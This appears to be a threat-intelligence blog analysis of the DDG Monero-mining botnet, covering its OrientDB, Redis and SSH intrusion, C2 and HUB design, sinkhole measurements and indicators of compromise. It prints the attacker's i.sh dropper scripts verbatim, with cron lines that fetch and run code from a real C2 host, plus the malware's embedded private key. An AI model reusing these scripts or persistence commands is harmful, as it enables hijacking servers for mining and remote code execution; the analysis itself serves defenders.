DDG: A Mining Botnet Aiming at Database Servers

Starting 2017-10-25, we noticed there was a large scale ongoing scan targeting the OrientDB databases. Further analysis found that this is a long-running botnet whose main goal is to mine Monero CryptoCurrency. We name it DDG.Mining.Botnet after its core function module name DDG.

Currently we are able to confirm that the botnet has mined more than 3,395 Monroe coins, equivalent to USD 925,383 at current prices. In addition, there is another 2,428 XMRs (equivalent to USD 661,759) we have yet to fully confirm due to the mining pool's payment record issue. This makes DDG by far the second largest Monroe related botnet we have seen, just behind the MyKings Botnet we reported earlier.

DDG code appears at least late in 2016 and is continuously updated throughout 2017.

DDG uses a C2 and HUB layout to communicate with its clients. The HUB is a set of IPs and domain names that are used to provide Miner program for the compromised clients to download.

It is worth noting that we were able to successfully register and sinkhole two domain names used by its v2011 version, thus we were able to have a good understanding of the size of the entire DDG botnet based on Sinkhole data.

DDG Mining Botnet Total Incoming

DDG uses the following mine pool:

Three wallet addresses have been used, as follows:

  • Wallet #1 4AxgKJtp8TTN9Ab9JLnvg7BxZ7Hnw4hxigg35LrDVXbKdUxmcsXPEKU3SEUQxeSFV3bo2zCD7AiCzP2kQ6VHouK3KwnTKYg
  • Wallet #2 45XyPEnJ6c2STDwe8GXYqZTccoHmscoNSDiTisvzzekwDSXyahCUmh19Mh2ewv1XDk3xPj3mN2CoDRjd3vLi1hrz6imWBR1
  • Wallet #3 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM

Among them, Wallet#3 was the first wallet address been used, most active between the time period 2017-02~2017-03; then followed by Wallet#1, been used most of the 2017; Wallet#2 is a recent active one first seen on 2018-01-03.

The pool allows us to check the payment record of the wallets. The income of all three wallets is shown in the following table. The total income is Monroe 3,395 or 5,760. These tokens are worth USD 925,383 or 1,569,963 today. Note: There is an issue for the second wallet, where "Total Paid" is not consistent with the summary of all tractions' amount. We cannot confirm which number is more accurate, so we show both numbers here.

DDG Mining Botnet Workflow

By analyzing the sample and its behavior, we can characterize the DDG Mining Botnet attack as follows:

In the picture above, DDG Mining Botnet attack process can be divided into several stages:

  • Initial Scanning: The attacker (ss2480.2) exploits the known RCE vulnerability of the OrientDB database and drops the attack payload
  • Stage 1: Attackers modify local Crontab scheduled tasks, download and execute i.sh (hxxp: //218.248.40.228:8443/i.sh) on the primary server and keep it synchronized every 5 minutes
  • Stage 2: DDG traverses the built-in file hub_iplist.txt, check the connectivity of every single entry and try to download the corresponding Miner program wnTKYg from the one can be successfully connected (wnTKYg.noaes if the native CPU does not support AES-NI)
  • Mining Stage: The Miner program begins to use the computing resources of the compromised host to begin mining for the attacker's wallet.

The HUB used in the second phase is a very interesting design. The attacker goes over all IPs and domain names written in the HUB file to download the mining program, so as to avoid the possible blocking caused by using a single download server. We observe that DDG operators update the IP and domain names of these HUB from time to time, and most of these ips and domains are hacked boxes. See the entire HUB list at the end.

In v2011, somehow two domain names out of three on the list were left unregistered, so we went ahead and registered them, as follows.

  • defaultnotepad567[.]com
  • unains1748[.]com unregistered
  • 5dba35bsmrd[.]com unregistered

Below we will introduce the DDG botnet C2s, HUB, and Bot respectively.

The C2s

The DDG botnet uses the following C2 to maintain control of the device:

  • 202.181.169.98:8443/i.sh
  • 218.248.40.228:8443/i.sh

The first C2 was only used by this botnet briefly. And the second C2 has been pretty much the only active C2 for the last two years.

The HUB and Our Sinkhole

DDG botnet uses HUB_IP: 8443\wnTKYg to provide miner program. The detailed list of the two versions of HUB we monitored is given in the IoC section at the end of this article. The country distribution is shown in the following table. Most of the victims can be seen in China.

As we mentioned before, DDG bot will go over and check connectivity of every single one of the IPs and domain names on the hub list, which means we were able to get a very accurate infected clients list by sinkhole the above two domains.

The DDG operators noticed this after about 20 days and subsequently released an updated version of DDG code that replaced all IPs and domain names, including our Sinkholed domains. But the time is long enough for us to have some good measurement of this botnet.

Use Sinkhole Data to Measure DDG Mining Botnets

From the sinkhole data, we recorded a total of 4,391 IP addresses of victims from all countries, with the most prominent victims being China (73%) and the United States (11%):

And the following diagram shows the overall trend of the victim's DNS requests for the above two domains.

To avoid abuse, the list of all victims IP is not made public.

A DNSMon Perspective

Our DNSMon is also aware of these three domain names, the traffic access patterns of these 3 domains match very well as can be seen from the first diagram:

And the second diagram show that these 3 domains have very strong correlations.

DDG Mining Botnet Attack Process Breakdown

Initial Scanning

The scanning and intrusion phase of DDG Mining Botnet is done by sample ss2480.2. The ss2408.2 scans port 2480 and then uses the OrientDB RCE Vulnerability CVE-2017-11467 to implement the intrusion.

ss2480.2 will first scan the internal network, and then scan the public network segment. The internal target IP ranges are:

  • 10.Y.x.x/16 (Y is the value of the current intranet IP B segment)
  • 172.16.x.x/16
  • 192.168.x.x/16

Here is the code snippet generating internal Target IP:

After the internal networks scan, ss2480.2 visits hxxp://v4.ident.me to get a public IP address of the current host WAN_IP , then using WAN_IP/8 to generate public Target IP ranges. All the reserved address segments will be filtered:

How ss2480.2 exploits the OrientDB vulnerability:

The ss2480.2 drops the payload:

Stage 1

Here is the main configuration URL of DDG, the IP 218.248.40.228 is located in India, AS9829:

  • hxxp://218.248.40.228:8443/i.sh

This i.sh has changed many times, but the content is more or less the same, below is an early version, with following main functions:

  • Synchronize local Crontab with i.sh from the C2 server
  • Download and execute DDG sample from the C2 server
  • Check and clear the old version of the local DDG process
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.2011" ]; then  
    curl -fsSL http://218.248.40.228:8443/2011/ddg.$(uname -m) -o /tmp/ddg.2011
fi  
chmod +x /tmp/ddg.2011 && /tmp/ddg.2011


#if [ ! -f "/tmp/ss2480.2" ]; then
    #curl -fsSL http://218.248.40.228:8443/ss2480.2 -o /tmp/ss2480.2
#fi
#chmod +x /tmp/ss2480.2 && /tmp/ss2480.2

ps auxf | grep -v grep | grep ss2480.1 | awk '{print $2}' | kill  
#ps auxf | grep -v grep | grep ss22522.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.2 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1021 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2001 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2003 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2004 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2005 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

#ps auxf | grep -v grep | grep ddg.2011 || rm -rf /tmp/ddg.2011

The i.sh script gives attacker very flexible control to deliver any malicious software to the compromised host. And we did see this file change from time to time to serve new Trojan files or to deliver malware that incorporates new attacks. For example:

  • DDG Samples: the ddg.$(uname -m) series. This the long-run payload, we have seen three version, V2011, V2020 and V2021
  • ss22522 Samples: Only work for a short period, against the Struts2 vulnerability S2-052
  • ss2480 Samples: Also for a short period too, against OrientDB RCE. This is the very sample exposed DDG to us

By the way there is an issue in early version of i.sh, where a "xargs" is missing just ahead of 'kill' command, so the older process will not get killed as intended. This issue is fixed in later version.

On 2018.1.3, the attacker pushed out the newest version of i.sh (v2021.2), adding another mining process imWBR1 , which uses the second XMR wallet listed earlier:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root  
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root  
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.2021" ]; then  
    curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021
fi

if [ ! -f "/tmp/ddg.2021" ]; then  
    wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021
fi

chmod +x /tmp/ddg.2021 && /tmp/ddg.2021


if [ ! -f "/tmp/imWBR1" ]; then  
    curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed
fi

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill  
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
Stage 2

At this phase, DDG tries to test all the hosts in the hub_iplist.txt, and if success DDG will visit hxxp://hub_ip:8443/wnTKYg to download and execute the corresponding program wnTKYg Miner (if the native CPU does not support AES-the NI , it will download wnTKYg.noaes).

All the ddg.xxx and ss2480.xxx were written in Golang. DDG communicate to the HUB with a third party Golang Stream Multiplexing library Smuxcompleted. The default Smux configuration is been used.

So after DDG downloads Miner from the HUB and starts to KeepAlive, it sends 2 packets to the connected HUB IP every 10s:

The Built-in Hub_iplist.txt

The original DDG sample download URL is hxxp://218.248.40.228:8443/2011/ddg.$(uname -m), as written in i.sh. There are 158 hub_ip:8443 and 3 hub_domain:8443 listed in the hub_iplist, two of which are unregistered and then registered by us.

On 2017-11-10 We found that there is a change in the contents of i.sh file, ddg sample download link has changed to hxxp://218.248.40.228:8443/2020/ddg.$(uname -m). The attacker replaced all HUP IPs and domain names including ours. The latest contents of hub_iplist.txt can be seen at the bottom of this blog ip_hublist (v2020 ~ v2021) .

DDG Mining Botnet Also Targeted Redis Database and SSH Service

The above analysis focuses on the OrientDB exploit (ss2480 series).

In fact, the DDG samples also target SSH and Redis services as well, which are another two major methods used by DDG to compromise vulnerable hosts. Some of the related functions and the password dictionary are shown in the following two figures:

The victim is also implanted with the X509 key files. Three key files built into the sample are as follows, details at the end of the article:

  1. slave.pem
  2. ca.pem
  3. slave.key

Looking at historical data, we can also see the i.sh host 218.248.40.228 scanning the Redis database early on. A google search turned up some posts complaining their server was infested with ddg botnet. The following diagram shows the ports that were scanned by 218.248.40.228 between 2017-09-27 20:00:00 ~ 2017-10-25 11:00:00. Port
6379, 7379 and 2480 represents Redis, Redis (Replicas) and OrientDB:

One more thing

Starting from 2018.1.25 at 21 o'clock (GMT+8), we saw another update of this botnet, with link hxxp://218.248.40.228:8443/2011/ddg.x86_64, and this time it deliveries a Mirai family sample.

  • Family : mirai
  • C2 : linuxuclib.com:8080
  • C2 : jbeupq84v7.2y.net, no IP address associated yet
  • MD5 : cbc4ba55c5ac0a12150f70585af396dc

IoC

C2:

202.181.169.98:8443  
218.248.40.228:8443  
linuxuclib.com:8080  
jbeupq84v7.2y.net  

Samples' MD5:

b1201bf62f3ca42c87515778f70fd789    ddg.i686   --> v2011  
7705b32ac794839852844bb99d494797    ddg.x86_64 --> v2011  
1970269321e3d30d6b130af390f2ea5c    ddg.i686   --> v2020  
5751440a2b3ce1481cf1464c8ac37cbe    ddg.x86_64 --> v2020  
f52f771c5b40a60ce344d39298866203    ddg.i686   --> v2021  
3ea75a85bab6493db39b1f65940cc438    ddg.x86_64 --> v2021  
b0c6cefa1a339437c75c6b09cefeb2e8    ss2480.1  
8c31b6379c1c37cf747fa19b63dd84a1    ss2480.2  
4fc28b8727da0bcd083a7ac3f70933fa    ss22522.2  
d3b1700a413924743caab1460129396b    wnTKYg  
8eaf1f18c006e6ecacfb1adb0ef7faee    wnTKYg.noaes  
9ebf7fc39efe7c553989d54965ebb468    imWBR1  

Sample Downloading URL

hxxp://218.248.40.228:8443/2011/ddg.i686  
hxxp://218.248.40.228:8443/2011/ddg.x86_64  
hxxp://218.248.40.228:8443/2020/ddg.i686  
hxxp://218.248.40.228:8443/2020/ddg.x86_64  
hxxp://218.248.40.228:8443/2021/ddg.i686  
hxxp://218.248.40.228:8443/2021/ddg.x86_64  
hxxp://218.248.40.228:8443/i.sh  
hxxp://218.248.40.228:8443/ss22522.2  
hxxp://218.248.40.228:8443/ss2480.1  
hxxp://218.248.40.228:8443/ss2480.2  
hxxp://218.248.40.228:8443/wnTKYg  
hxxp://202.181.169.98:8443/2011/ddg.i686  
hxxp://202.181.169.98:8443/2011/ddg.x86_64  
hxxp://202.181.169.98:8443/i.sh  
hxxp://202.181.169.98:8443/ss22522.2  
hxxp://202.181.169.98:8443/ss2480.1  
hxxp://202.181.169.98:8443/ss2480.2  
hxxp://202.181.169.98:8443/wnTKYg  
hxxp://218.248.40.228:8443/imWBR1  

ip_hublist(v2011): ip_hublist__2011.txt

ip_hublist(v2020~v2021): ip_hublist__2020.txt

Three Key files

slave.pem

-----BEGIN CERTIFICATE-----
MIICozCCAYsCCQDFoT3X3cNwiDANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDDAh3  
ZS1hcy1jYTAeFw0xNzA3MTcwMTM2MjhaFw0yNzA3MTUwMTM2MjhaMBQxEjAQBgNV  
BAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN1w  
9s7u1BrQSxJEkqCkJLl+qnw4XPL+GgCimso6WWvie8gr3AFiSDUFMVsbOOlGVXJD  
CAaYStw6Wkn09cjAczNW9Ysq4EOurpGmCDdViftu+5zu2Zmz88p1/ta3BuytQlfE  
Qll6IFjNLSPOAaIwaWcQFXN/OlCPJZ7wvdo5aXFgVkvFplXogQiFLdKn3PgtDiNy  
EZct1/GgkYkgMTiymGrhXyj6/Eca28IsTydwU5h2fkkAIwnYpyeeEdcxsLmmFmfE  
G5x1mNsmUPnvMU7/qULmchVJ16pne06rNREApbuhm/XrhaDjphK8CNbUDWNXCWIR  
SKUl5bMoq5XnrvKc98kCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAg/G9vqIRz4rC  
niH49gSwFzBhH9tCXyBtHj86WMb2hi9myzFGE4joMhWp7OK3lwWq18kbukPk0TBz  
N9Mxrvvr0REBMPa1Q7VAq5ouFHw4WcIyzi1Ksw0SmFjaRCGqJTWQnG8lz+aIN8NX  
/i1KBWPbrnZGFfLdcKUmKrIXt6I3S1kb3jhJvlTOTjfr/iPlAMjVE9+tdgmy0Bsh
Mon9ctFwFj0sLhkcuyXU33ItkX5am2qmG7ToCoUj855JEm06T6PSakRLvodAsZfp  
Jmto1aFjT/7HS5ImcOrd1WWXU76cSZN5GENRcsIzmA3pq6dVKFfSwsAOMw5zQcTS  
uDpcOCRjJg==  
-----END CERTIFICATE-----

ca.pem

-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAK1DRcYUFowVMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV  
BAMMCHdlLWFzLWNhMB4XDTE3MDcxNzAxMzYyOFoXDTQ0MTIwMjAxMzYyOFowEzER  
MA8GA1UEAwwId2UtYXMtY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB  
AQCz6Iaprhnb68CEPCJzU1uCplIMQWuMtpuamV/M4T1G0A0qPHLsCPbnS+psuSwK  
Tnp3XBDEdTbhm33/FfLXeEfEmJlVX4lJfPk7XPT/UwgJ1OgGVegxNndPd+FQf1oX  
5ePSEmGZQRy9gkRQtCpSmO11AO8bbZY+WhHzvb3VQmu6rBAVCnzhPmBBlXsoyJfI  
oRVX5FEwCMZXuKHVd2N/Q8XBEFX6TGICEAwSCu69QYG7eFMleLgCxFRJ1xOXfPvD  
x++depGUDpR9PrsTQ6Oh3BIicuWHfj72tiooVW1mGG8yAqDfb1kBa5gq8jZM13Nx  
gK0aRbZiJFreFj8Ed05LlPdnAgMBAAGjUzBRMB0GA1UdDgQWBBRL9zCbPXsgyxFe  
oZYZtZmjvAyqbDAfBgNVHSMEGDAWgBRL9zCbPXsgyxFeoZYZtZmjvAyqbDAPBgNV  
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBFne95zt54uyUn2ZtdUUHH  
Oh3ODsCx+hL4DWsyaVa1l9PTW1es58+VGPFr4JYKj5DDj1FebYW/k0DAt6G4ehVg  
pfYW23lYbwfbs1gFKaUVX1gb0U0BsLlXGJ5dVlnY09Z3RGZ1nf0U6VgTbleDc/M6  
Cax7dvyn2a+2BJLxl3QCUVye6PJw33Hjjl8xfMTEv3RKoxeYP0Prgrmmg/gmr7hs  
doWJBMflCWmwZJKhtdYAKMkFnprNH4h8ryqsWeO928ZHbHbxej15Rv9BjXIg4XnF  
tEIvhZUJ3tj4OvK8X6hJf0ZsI/3H1ffvTHyIX4UnYgGqMFlHSBXMhOIiXed6+xsP  
-----END CERTIFICATE-----

slave.key

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3XD2zu7UGtBLEkSSoKQkuX6qfDhc8v4aAKKayjpZa+J7yCvc  
AWJINQUxWxs46UZVckMIBphK3DpaSfT1yMBzM1b1iyrgQ66ukaYIN1WJ+277nO7Z  
mbPzynX+1rcG7K1CV8RCWXogWM0tI84BojBpZxAVc386UI8lnvC92jlpcWBWS8Wm  
VeiBCIUt0qfc+C0OI3IRly3X8aCRiSAxOLKYauFfKPr8RxrbwixPJ3BTmHZ+SQAj  
CdinJ54R1zGwuaYWZ8QbnHWY2yZQ+e8xTv+pQuZyFUnXqmd7Tqs1EQClu6Gb9euF  
oOOmErwI1tQNY1cJYhFIpSXlsyirleeu8pz3yQIDAQABAoIBAQCTltbo1QVJWcqv  
QkT4DG7tsx6t7GMHEZUDF11Tq9Att6YIpDLeOUMnE27x6hLkZ5xLq6GNw7MhVUMY  
R8wJITum3C6LsugGNEbljGOtfbWZfz70Ob2OVAIIztwq/5H97PxqwsP2Hw+wIBAV  
7RfpoZqetnmVoRac2suYQ5xF9j3w8acpCZdU2jCvbMNADdOtCkXBXcD9nGU0d9dN  
Z+qajp7otDw1DbQ381x6YDEu0g9CJhXdVfqK0skOs9KTrATxLBw4u6UmIP7fNAoH  
p9OXzp6gzzl4mLR05SWm1pcjuoqxL88wIPYtcfKo8Z4CxZhx2oPTiQ0JUiVHUvPh  
OZwu2GSBAoGBAPFscPODr2H4dFFKK6uYb2ZRY6WSOiL31o1LCZ3a4lDJS7fvncZK  
OiyG/RQIt0k68UQHNxte0VOHiaGqCaHlfikS/KN5WyQeaRmH+MKxp+atGvKXmURV  
+uWK37GCIDzqTDPtu9UiAxQOOJQZCvGh40lc35v2aJGKpkD4+IaEDpDXAoGBAOrP
qpei2+DtwougNA9FTxS3Z34NCCIHT0rqoogZZirMy6M7LnUoWAgMIUjpENK7uxma  
nNEWagv5XrLmFbjC/UaTF5BR9CrX0orto2CNA2upN+7Y6wNnB1ed7sjLubDEPNXv  
JeZsoz4G7TDq9oXE54a8idFVePn8q1RdRvHOdYhfAoGAbMgqFO+vJPvonYBIMSec  
eoQN3FsJKxx1ZnD7Qk+QTkqFfbnQY7qqf8nLWy2aOLsAX2DI6eJNe8/Eqj2N3Y8k  
y6ksgRR7hsjVHpXv9vpJ51z0mX7Jpsr/JFLw/HDfydLgxz1Ft4F91Zma0NB/5+TE  
HxhkAUiEUaAhzYDhquryDT0CgYAP0YOdiYQkh//mJhm7uaCVNbHMJRaaLEHkOyBN  
6OAgHAHP8kmz7M7ZY+/OGJ1ghPMay3arA0aLnfYKOUPXWZN0cK5Ss6KuTDHL2Cx8  
caN8Wj8BYS2b4hH1jhcrAcZ1qRKsGttDxafNouvRstJ+uoAabJMgPhDTTnlASrRf  
z9fNIwKBgCM3UzxVsRyoYx7rpCQ7QSX6SHsM0cNjWDRw5aMziQmyI+sitwOPAVek  
O+XvIXIzdahNBhQQ0giFKWh/b7fq2aNB1J+5TtAcEFTFFk9LC3l/U7Mk0nhUsh6G  
pEcsRlnc4GpFeelJtj/c1BHBbX7HSdB8osk3GDyUwX1KVlbxZ4dk  
-----END RSA PRIVATE KEY-----